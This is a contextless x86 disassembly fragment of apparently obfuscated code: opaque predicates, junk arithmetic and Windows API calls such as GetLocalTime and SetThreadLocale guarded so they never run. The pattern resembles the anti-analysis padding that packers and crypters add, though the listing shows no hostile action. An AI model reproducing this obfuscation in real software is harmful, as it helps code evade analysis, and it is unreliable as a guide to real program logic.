mov dword [ebp - 0x1184], 1
jmp 0x458815
and dword [ebp - 0x1184], 0
mov eax, dword [ebp - 0x1184]
mov dword [ebp - 0x4c8], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x4c8], eax
jle 0x458838
mov dword [ebp - 0x118c], 1
jmp 0x45883f
and dword [ebp - 0x118c], 0
cmp dword [ebp - 0x118c], 0x8862
jle 0x458857
mov dword [ebp - 0x1194], 1
jmp 0x45885e
and dword [ebp - 0x1194], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x6b8], eax
mov eax, dword [ebp - 0x6b8]
cmp eax, dword [ebp - 0x1194]
jge 0x458881
mov dword [ebp - 0x119c], 1
jmp 0x458888
and dword [ebp - 0x119c], 0
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x119c]
je 0x45889f
mov dword [ebp - 0x11a4], 1
jmp 0x4588a6
and dword [ebp - 0x11a4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x11a4], eax
jne 0x4588bd
mov dword [ebp - 0x11ac], 1
jmp 0x4588c4
and dword [ebp - 0x11ac], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x11ac]
add eax, 0x49cec79e
cmp eax, dword [ebp - 0x30]
jl 0x4588e4
mov dword [ebp - 0x11b4], 1
jmp 0x4588eb
and dword [ebp - 0x11b4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x11b4], eax
jne 0x458907
xor eax, eax
inc eax
je 0x458907
mov dword [ebp - 0x11bc], 1
jmp 0x45890e
and dword [ebp - 0x11bc], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x11bc], eax
je 0x458925
mov dword [ebp - 0x11c4], 1
jmp 0x45892c
and dword [ebp - 0x11c4], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x11c4], eax
je 0x458943
mov dword [ebp - 0x286c], 1
jmp 0x45894a
and dword [ebp - 0x286c], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3198], eax
mov dword [ebp - 0x11cc], 0xffffffff
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x30]
mov dword [ebp + eax - 0x34bc], ecx
mov eax, dword [ebp - 0x1204]
cmp dword [ebp - 0x11cc], eax
jne 0x458986
mov dword [ebp - 0x11d4], 1
jmp 0x45898d
and dword [ebp - 0x11d4], 0
mov eax, dword [ebp - 0x6b8]
cmp dword [ebp - 0x11d4], eax
jge 0x4589ad
cmp dword [ebp - 0x30], 0
je 0x4589ad
mov dword [ebp - 0x11dc], 1
jmp 0x4589b4
and dword [ebp - 0x11dc], 0
mov eax, dword [ebp - 0x2648]
cmp eax, dword [ebp - 0x11dc]
jne 0x4589ce
mov dword [ebp - 0x11e4], 1
jmp 0x4589d5
and dword [ebp - 0x11e4], 0
mov eax, dword [ebp - 0x11e4]
inc eax
cmp eax, dword [ebp - 0x294c]
jle 0x4589f0
mov dword [ebp - 0x11ec], 1
jmp 0x4589f7
and dword [ebp - 0x11ec], 0
cmp dword [ebp - 0x11ec], 5
jl 0x458a0c
mov dword [ebp - 0x958], 1
jmp 0x458a13
and dword [ebp - 0x958], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x958]
mov dword [ebp + eax - 0x120c], ecx
mov eax, dword [ebp - 0x960]
mov dword [ebp - 0x2650], eax
mov eax, dword [ebp - 0x958]
mov dword [ebp - 0x2874], eax
mov eax, dword [ebp - 0x960]
dec eax
mov dword [ebp - 0x960], eax
mov eax, dword [ebp - 0x2650]
cmp eax, dword [ebp - 0x2874]
jle 0x458a65
mov dword [ebp - 0x11f4], 1
jmp 0x458a6c
and dword [ebp - 0x11f4], 0
mov eax, dword [ebp - 0x6b8]
cmp dword [ebp - 0x11f4], eax
je 0x458a86
mov dword [ebp - 0x11fc], 1
jmp 0x458a8d
and dword [ebp - 0x11fc], 0
mov eax, dword [ebp - 0x4c8]
cmp eax, dword [ebp - 0x11fc]
jl 0x458aa7
mov dword [ebp - 0x2658], 1
jmp 0x458aae
and dword [ebp - 0x2658], 0
mov eax, dword [ebp - 0x1204]
mov dword [ebp - 0x2ea8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x120c]
mov dword [ebp - 0x32e0], eax
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x2eb0], eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x29dc]
mov dword [ebp - 0x4c8], eax
call fcn.00447537
mov dword [ebp - 0x6c0], 0xea5d6c05
mov byte [ebp - 0x3e2], 0
movzx eax, byte [ebp - 0x3e2]
test eax, eax
je 0x458b11
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov dword [ebp - 0x6c0], 0
jmp 0x458b2a
mov eax, dword [ebp - 0x6c0]
dec eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 0xfffffffc
jg 0x458b82
mov dword [ebp - 0x6c8], 8
mov dword [ebp - 0x6c8], 0xc
jmp 0x458b56
mov eax, dword [ebp - 0x6c8]
dec eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0xfffffff6
je 0x458b80
mov byte [ebp - 0x305], 0
movzx eax, byte [ebp - 0x305]
test eax, eax
je 0x458b7e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
jmp 0x458b49
jmp 0x458b1d
mov dword [ebp - 0x6d8], 0x42c70bb7
mov dword [ebp - 0x488], 0xffffffff
mov dword [ebp - 0x124c], 6
mov dword [ebp - 0x56c], 0xd9796a0b
mov dword [ebp - 0x6e0], 0x4cb44179
mov dword [ebp - 0x31a8], 0x24b969b4
mov dword [ebp - 0x2660], 0xffffffff
mov dword [ebp - 0x126c], 0xf4b3f4b1
mov dword [ebp - 0x2b0c], 0xb9ba5e0b
mov dword [ebp - 0x2b08], 0xb9ba5e0b
mov dword [ebp - 0x2b04], 0xb9ba5e0b
mov dword [ebp - 0x2b00], 0xb9ba5e0b
mov dword [ebp - 0x2b3c], 0xffffffff
mov dword [ebp - 0x2b38], 0xffffffff
mov dword [ebp - 0x2b34], 0xffffffff
mov dword [ebp - 0x2b30], 0xffffffff
mov dword [ebp - 0x2eb8], 0x4abf
mov dword [ebp - 0x6d0], 0xc4ce10b4
mov dword [ebp - 0x2b24], 0
mov dword [ebp - 0x2b20], 0
mov dword [ebp - 0x2b1c], 0
mov dword [ebp - 0x2b18], 0
mov dword [ebp - 0x6d8], 0xfffffffc
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x6d8], 0
je 0x458d9a
mov eax, dword [ebp - 0x6d0]
dec eax
mov dword [ebp - 0x6d0], eax
jne 0x458ca9
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2b24], 0
jne 0x458ca9
and dword [ebp - 0x1214], 0
jmp 0x458cb3
mov dword [ebp - 0x1214], 1
mov eax, dword [ebp - 0x1214]
sub eax, dword [ebp - 0x6e0]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2b0c], eax
mov eax, dword [ebp - 0x124c]
imul eax, dword [ebp - 0x488]
mov dword [ebp - 0x121c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x121c]
mov dword [ebp + eax - 0x2b3c], ecx
cmp dword [ebp - 0x121c], 0
je 0x458d0f
cmp dword [ebp - 0x2660], 0
je 0x458d0f
mov dword [ebp - 0x1224], 1
jmp 0x458d16
and dword [ebp - 0x1224], 0
cmp dword [ebp - 0x1224], 8
jg 0x458d34
cmp dword [ebp - 0x6d0], 0
je 0x458d34
mov dword [ebp - 0x287c], 1
jmp 0x458d3b
and dword [ebp - 0x287c], 0
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x3368], eax
mov eax, dword [ebp - 0x6e0]
mov dword [ebp - 0x2ec0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x56c]
cmp dword [ebp + eax - 0x2b0c], ecx
jle 0x458d73
mov dword [ebp - 0x122c], 1
jmp 0x458d7a
and dword [ebp - 0x122c], 0
mov eax, dword [ebp - 0x122c]
sub eax, dword [ebp - 0x126c]
cmp dword [ebp - 0x6d8], eax
jle 0x458d9a
mov dword [ebp - 0x1234], 1
jmp 0x458da1
and dword [ebp - 0x1234], 0
cmp dword [ebp - 0x1234], 0
je 0x458dbf
mov eax, 0x1f1717c2
test eax, eax
je 0x458dbf
mov dword [ebp - 0x123c], 1
jmp 0x458dc6
and dword [ebp - 0x123c], 0
mov eax, dword [ebp - 0x488]
cmp dword [ebp - 0x123c], eax
jne 0x458de0
mov dword [ebp - 0x1244], 1
jmp 0x458de7
and dword [ebp - 0x1244], 0
mov eax, dword [ebp - 0x6e0]
add eax, dword [ebp - 0x1244]
jne 0x458e11
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2b24], 0
je 0x458e11
mov dword [ebp - 0x1254], 1
jmp 0x458e18
and dword [ebp - 0x1254], 0
mov eax, dword [ebp - 0x488]
mov ecx, dword [ebp - 0x124c]
add ecx, dword [ebp - 0x1254]
add eax, ecx
jne 0x458e47
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2b3c], 0
jne 0x458e47
and dword [ebp - 0x125c], 0
jmp 0x458e51
mov dword [ebp - 0x125c], 1
mov eax, dword [ebp - 0x125c]
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 0
je 0x458e7b
cmp dword [ebp - 0x56c], 0
je 0x458e7b
mov dword [ebp - 0x1264], 1
jmp 0x458e82
and dword [ebp - 0x1264], 0
mov eax, dword [ebp - 0x488]
add eax, dword [ebp - 0x1264]
mov dword [ebp - 0x126c], eax
mov dword [ebp - 0x38c], 0
mov dword [ebp - 0x2670], 0x3e1e01b1
mov dword [ebp - 0x31b8], 0
mov dword [ebp - 0x4d8], 0xe3e45bbb
mov dword [ebp - 0x4d0], 0x89e022a5
mov dword [ebp - 0x978], 0x6dd2cc9
mov dword [ebp - 0x2120], 0
mov dword [ebp - 0x211c], 0
mov dword [ebp - 0x2118], 0
mov dword [ebp - 0x2114], 0
mov dword [ebp - 0x968], 0xfb1a
mov dword [ebp - 0x970], 0xa77b69c9
mov dword [ebp - 0x6e8], 0
jmp 0x458f25
cmp dword [ebp - 0x6e8], 3
jge 0x458f41
mov dword [ebp - 0x42c], 0xad5a519d
mov dword [ebp - 0x780], 0
jmp 0x45b22b
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 1
jge 0x45b244
mov eax, dword [ebp - 0x780]
mov dword [ebp + eax*4 - 0x4c], 0
jmp 0x45b21e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x4c], 0
jmp 0x45b269
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x4c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c], 0xd
jne 0x45b8eb
mov dword [ebp - 0x264], 0x2d14
mov dword [ebp - 0x25c], 0x865b49d5
mov dword [ebp - 0x34], 0x57689a5a
mov dword [ebp - 0x173c], 1
mov dword [ebp - 0x2c5c], 0xe40c593b
mov dword [ebp - 0x2c58], 0xe40c593b
mov dword [ebp - 0x2c54], 0xe40c593b
mov dword [ebp - 0x2c50], 0xe40c593b
mov dword [ebp - 0x13c], 0
jmp 0x45b2e0
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 2
jge 0x45b2fc
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x90c], 0xffffffff
jmp 0x45b2d3
mov dword [ebp - 0x13c], 0
jmp 0x45b315
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 1
jge 0x45b331
mov eax, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0x16ec], 0x111919b1
jmp 0x45b308
cmp dword [ebp - 0x264], 0
je 0x45b33f
jmp 0x45b8eb
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
je 0x45b373
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c], 0
je 0x45b373
mov dword [ebp - 0x2384], 1
jmp 0x45b37a
and dword [ebp - 0x2384], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c], 0xfffa
ja 0x45b396
mov dword [ebp - 0x168c], 1
jmp 0x45b39d
and dword [ebp - 0x168c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c]
cmp dword [ebp - 0x168c], eax
jl 0x45b3bb
mov dword [ebp - 0x1694], 1
jmp 0x45b3c2
and dword [ebp - 0x1694], 0
mov eax, dword [ebp - 0x1694]
sub eax, dword [ebp - 0x264]
cmp eax, dword [ebp - 0x264]
jge 0x45b3e2
mov dword [ebp - 0x238c], 1
jmp 0x45b3e9
and dword [ebp - 0x238c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c]
mov dword [ebp - 0x3054], eax
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x2f98], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x305c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x42c]
push 4
pop edx
imul edx, edx, 0
add ecx, dword [ebp + edx - 0x4c]
cmp dword [ebp + eax - 0x4c], ecx
jl 0x45b439
mov dword [ebp - 0x169c], 1
jmp 0x45b440
and dword [ebp - 0x169c], 0
cmp dword [ebp - 0x169c], 0x7fd1e814
jge 0x45b59f
cmp dword [ebp - 0x25c], 5
jge 0x45b465
mov dword [ebp - 0x16a4], 1
jmp 0x45b46c
and dword [ebp - 0x16a4], 0
mov eax, dword [ebp - 0x25c]
cmp eax, dword [ebp - 0x16a4]
jl 0x45b486
mov dword [ebp - 0x16ac], 1
jmp 0x45b48d
and dword [ebp - 0x16ac], 0
cmp dword [ebp - 0x16ac], 0
jb 0x45b4ab
cmp dword [ebp - 0x25c], 0
je 0x45b4ab
mov dword [ebp - 0x16b4], 1
jmp 0x45b4b2
and dword [ebp - 0x16b4], 0
mov eax, dword [ebp - 0x16b4]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2fa4], eax
mov eax, 0x9ea4087b
cmp eax, 2
jbe 0x45b4da
mov dword [ebp - 0x16bc], 1
jmp 0x45b4e1
and dword [ebp - 0x16bc], 0
mov eax, dword [ebp - 0x25c]
mov ecx, dword [ebp - 0x16bc]
add ecx, 0xc2e8
add eax, ecx
cmp eax, 0xa47b
jg 0x45b508
mov dword [ebp - 0x16c4], 1
jmp 0x45b50f
and dword [ebp - 0x16c4], 0
cmp dword [ebp - 0x16c4], 0x901516ea
jae 0x45b527
mov dword [ebp - 0x16cc], 1
jmp 0x45b52e
and dword [ebp - 0x16cc], 0
mov eax, dword [ebp - 0x16cc]
sub eax, dword [ebp - 0x25c]
cmp eax, dword [ebp - 0x264]
jg 0x45b54e
mov dword [ebp - 0x16d4], 1
jmp 0x45b555
and dword [ebp - 0x16d4], 0
cmp dword [ebp - 0x16d4], 0x7283
jle 0x45b56d
mov dword [ebp - 0x16dc], 1
jmp 0x45b574
and dword [ebp - 0x16dc], 0
mov eax, dword [ebp - 0x16dc]
mov dword [ebp - 0x42c], eax
mov byte [ebp - 0x3e0], 0
movzx eax, byte [ebp - 0x3e0]
test eax, eax
je 0x45b59a
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
jmp 0x45b8e6
mov dword [ebp - 0x3a4], 0x1265a1b6
mov dword [ebp - 0x788], 0xaa0e6852
mov dword [ebp - 0x172c], 1
mov dword [ebp - 0x34], 1
jmp 0x45b5cd
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jl 0x45b8e6
mov dword [ebp - 0x23b4], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x90c]
mov dword [ebp - 0x16e4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x16e4]
mov dword [ebp + eax - 0x16ec], ecx
cmp dword [ebp - 0x16e4], 0
je 0x45b7b7
mov dword [ebp - 0x9d8], 0xa615b38d
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3064], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x2fb0], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x90c], 0
je 0x45b652
cmp dword [ebp - 0x173c], 0
je 0x45b652
mov dword [ebp - 0x16f4], 1
jmp 0x45b659
and dword [ebp - 0x16f4], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x16ec], 1
cmp dword [ebp - 0x16f4], 1
jg 0x45b67f
mov dword [ebp - 0x2394], 1
jmp 0x45b686
and dword [ebp - 0x2394], 0
mov eax, dword [ebp - 0x9d8]
mov dword [ebp - 0x306c], eax
cmp dword [ebp - 0x3a4], 0
je 0x45b6a2
cmp dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 0
jne 0x45b6c3
mov dword [ebp - 0x16fc], 1
jmp 0x45b6ca
and dword [ebp - 0x16fc], 0
mov eax, dword [ebp - 0x16fc]
add eax, 5
neg eax
cmp eax, dword [ebp - 0x3a4]
jne 0x45b6f6
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x90c], 0
je 0x45b6f6
mov dword [ebp - 0x239c], 1
jmp 0x45b6fd
and dword [ebp - 0x239c], 0
mov eax, dword [ebp - 0x9d8]
mov ecx, dword [ebp - 0x34]
sub eax, dword [ebp + ecx*4 - 0x90c]
jne 0x45b721
cmp dword [ebp - 0x3a4], 0
jne 0x45b721
and dword [ebp - 0x23a4], 0
jmp 0x45b72b
mov dword [ebp - 0x23a4], 1
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x2fbc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x90c]
mov dword [ebp - 0x3074], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c]
sub eax, dword [ebp - 0x25c]
imul eax, eax, 0x8a97
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x4c]
cmp eax, dword [ebp - 0x264]
jne 0x45b77e
mov dword [ebp - 0x1704], 1
jmp 0x45b785
and dword [ebp - 0x1704], 0
mov eax, dword [ebp - 0x9d8]
cmp dword [ebp - 0x1704], eax
jge 0x45b79f
mov dword [ebp - 0x170c], 1
jmp 0x45b7a6
and dword [ebp - 0x170c], 0
mov eax, dword [ebp - 0x170c]
mov dword [ebp - 0x42c], eax
jmp 0x45b8e1
mov dword [ebp - 0x171c], 0x261b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c5c]
mov dword [ebp - 0x2fc8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c]
cmp dword [ebp - 0x171c], eax
jle 0x45b7f2
mov dword [ebp - 0x1714], 1
jmp 0x45b7f9
and dword [ebp - 0x1714], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c]
mov dword [ebp - 0x788], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x90c]
imul eax, dword [ebp - 0x1714]
cmp dword [ebp - 0x788], eax
jle 0x45b82e
mov dword [ebp - 0x1724], 1
jmp 0x45b835
and dword [ebp - 0x1724], 0
mov eax, dword [ebp - 0x171c]
mov dword [ebp - 0x307c], eax
mov eax, dword [ebp - 0x1724]
mov dword [ebp - 0x172c], eax
mov eax, dword [ebp - 0x172c]
mov dword [ebp - 0x2fd4], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x3084], eax
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x2fe0], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x90c], 0xec72
jne 0x45b88d
mov dword [ebp - 0x1734], 1
jmp 0x45b894
and dword [ebp - 0x1734], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0x90c]
cmp dword [ebp - 0x1734], eax
jge 0x45b8b2
mov dword [ebp - 0x23ac], 1
jmp 0x45b8b9
and dword [ebp - 0x23ac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4c]
mov dword [ebp - 0x3014], eax
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x2fec], eax
mov eax, dword [ebp - 0x173c]
mov dword [ebp - 0x23b4], eax
jmp 0x45b5c6
jmp 0x45b254
mov dword [ebp - 0x24], 0x66c93ee3
mov dword [ebp - 0x23ec], 0xd78db584
mov dword [ebp - 0x144], 0
jmp 0x45b915
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jge 0x45b931
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x2084], 1
jmp 0x45b908
mov dword [ebp - 0x144], 0
jmp 0x45b94a
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 2
jge 0x45b966
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x2758], 1
jmp 0x45b93d
mov eax, dword [ebp - 0x24]
inc eax
cmp eax, 8
jb 0x45b97b
mov dword [ebp - 0x23bc], 1
jmp 0x45b982
and dword [ebp - 0x23bc], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3094], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2ff8], eax
cmp dword [ebp - 0x24], 9
jae 0x45b9a6
mov dword [ebp - 0x1744], 1
jmp 0x45b9ad
and dword [ebp - 0x1744], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1744], eax
jl 0x45b9c4
mov dword [ebp - 0x23c4], 1
jmp 0x45b9cb
and dword [ebp - 0x23c4], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x309c], eax
cmp dword [ebp - 0x24], 0xffffffff
jle 0x45b9e6
mov dword [ebp - 0x174c], 1
jmp 0x45b9ed
and dword [ebp - 0x174c], 0
cmp dword [ebp - 0x174c], 0x836ccb03
jae 0x45ba05
mov dword [ebp - 0x1754], 1
jmp 0x45ba0c
and dword [ebp - 0x1754], 0
cmp dword [ebp - 0x1754], 0x4257
jle 0x45ba24
mov dword [ebp - 0x175c], 1
jmp 0x45ba2b
and dword [ebp - 0x175c], 0
cmp dword [ebp - 0x175c], 0x15ee56e3
jge 0x45ba43
mov dword [ebp - 0x1764], 1
jmp 0x45ba4a
and dword [ebp - 0x1764], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1764], eax
je 0x45ba61
mov dword [ebp - 0x176c], 1
jmp 0x45ba68
and dword [ebp - 0x176c], 0
imul eax, dword [ebp - 0x176c], 0xffffffff
imul eax, eax, 0x7b47
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2084], eax
mov dword [ebp - 0x24], 0
jmp 0x45ba91
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jg 0x45bdbc
mov dword [ebp - 0x434], 5
mov dword [ebp - 0x23d4], 0xab171c25
mov dword [ebp - 0x23dc], 5
mov dword [ebp - 0x23e4], 0xfffffffa
mov dword [ebp - 0x790], 0
jmp 0x45badc
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 4
jge 0x45baf8
mov eax, dword [ebp - 0x790]
mov dword [ebp + eax*4 - 0x3480], 0xfffffff8
jmp 0x45bacf
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x2084], 0
je 0x45bbd3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2084]
mov dword [ebp - 0x3004], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp + ecx*4 - 0x2084]
cmp dword [ebp + eax - 0x2758], ecx
jne 0x45bb41
mov dword [ebp - 0x1774], 1
jmp 0x45bb48
and dword [ebp - 0x1774], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x1774]
cmp dword [ebp - 0x434], eax
jg 0x45bb65
mov dword [ebp - 0x177c], 1
jmp 0x45bb6c
and dword [ebp - 0x177c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3480]
cmp dword [ebp - 0x177c], eax
jl 0x45bb8d
mov dword [ebp - 0x1784], 1
jmp 0x45bb94
and dword [ebp - 0x1784], 0
mov eax, dword [ebp - 0x434]
add eax, dword [ebp - 0x1784]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2758]
jg 0x45bbbb
mov dword [ebp - 0x23cc], 1
jmp 0x45bbc2
and dword [ebp - 0x23cc], 0
or eax, 0xffffffff
je 0x45bbd3
mov dword [ebp - 0x178c], 1
jmp 0x45bbda
and dword [ebp - 0x178c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3480]
cmp dword [ebp - 0x178c], eax
jge 0x45bbfb
mov dword [ebp - 0x9e0], 1
jmp 0x45bc02
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x9e0]
mov dword [ebp + eax*4 - 0x2084], ecx
mov eax, dword [ebp - 0x9e0]
mov dword [ebp - 0x23d4], eax
mov dword [ebp - 0x434], 0
jmp 0x45bc37
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0x20
jle 0x45bdb7
mov dword [ebp - 0x17b4], 0xffffffff
mov dword [ebp - 0x179c], 0
mov dword [ebp - 0x17cc], 9
cmp dword [ebp - 0x17b4], 0
jne 0x45bd05
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2758], 0
jne 0x45bcf3
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x2084], 0xffffffff
jne 0x45bc98
mov dword [ebp - 0x1794], 1
jmp 0x45bc9f
and dword [ebp - 0x1794], 0
mov eax, dword [ebp - 0x1794]
mov dword [ebp - 0x179c], eax
cmp dword [ebp - 0x179c], 0
je 0x45bccd
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x2084], 0
je 0x45bccd
mov dword [ebp - 0x17a4], 1
jmp 0x45bcd4
and dword [ebp - 0x17a4], 0
cmp dword [ebp - 0x17a4], 0x7675e6d9
jne 0x45bcec
mov dword [ebp - 0x17ac], 1
jmp 0x45bcf3
and dword [ebp - 0x17ac], 0
cmp dword [ebp - 0x23dc], 0
jne 0x45bd05
and dword [ebp - 0x17bc], 0
jmp 0x45bd0f
mov dword [ebp - 0x17bc], 1
mov eax, dword [ebp - 0x17b4]
add eax, dword [ebp - 0x17bc]
cmp eax, dword [ebp - 0x23e4]
jg 0x45bd2f
mov dword [ebp - 0x17c4], 1
jmp 0x45bd36
and dword [ebp - 0x17c4], 0
mov eax, dword [ebp - 0x17c4]
mov dword [ebp - 0x17cc], eax
mov eax, dword [ebp - 0x17cc]
mov dword [ebp - 0x17d4], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x17d4]
mov dword [ebp + eax - 0x2084], ecx
cmp dword [ebp - 0x17d4], 0
jne 0x45bd75
mov dword [ebp - 0x17dc], 1
jmp 0x45bd7c
and dword [ebp - 0x17dc], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x17dc]
mov dword [ebp - 0x23ec], eax
mov byte [ebp - 0x325], 0
movzx eax, byte [ebp - 0x325]
test eax, eax
je 0x45bdb2
push 0x8e5
push 0x7e1
push 0xaa5
call dword [sym.imp.KERNEL32.dll_MulDiv]
jmp 0x45bc2a
jmp 0x45ba8a
mov dword [ebp - 0x9e8], 0x64b5
mov dword [ebp - 0x23fc], 0xfffffffc
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x30a4], eax
cmp dword [ebp - 0x9e8], 0
je 0x45bdfe
mov dword [ebp - 0x23f4], 0x65925ef2
mov eax, dword [ebp - 0x9e8]
inc eax
mov dword [ebp - 0x23f4], eax
jmp 0x45be08
mov dword [ebp - 0x23fc], 1
xor ecx, ecx
call fcn.004245c9
push eax
call fcn.00462083
pop ecx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x2298], 0xdbf4
mov dword [ebp - 0x2294], 0xdbf4
mov dword [ebp - 0x2290], 0xdbf4
mov dword [ebp - 0x228c], 0xdbf4
mov dword [ebp - 0x444], 0x2f093d7f
mov dword [ebp - 0x2328], 0
mov dword [ebp - 0x2324], 0
mov dword [ebp - 0x2320], 0
mov dword [ebp - 0x231c], 0
mov dword [ebp - 0xa00], 0x37ddc4ea
mov dword [ebp - 0x18e4], 0x3ada
mov dword [ebp - 0x2414], 1
mov dword [ebp - 0x798], 0
jmp 0x45beb8
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 4
jge 0x45bed4
mov eax, dword [ebp - 0x798]
mov dword [ebp + eax*4 - 0x2b6c], 9
jmp 0x45beab
mov eax, 0x5a97963b
test eax, eax
je 0x45bf83
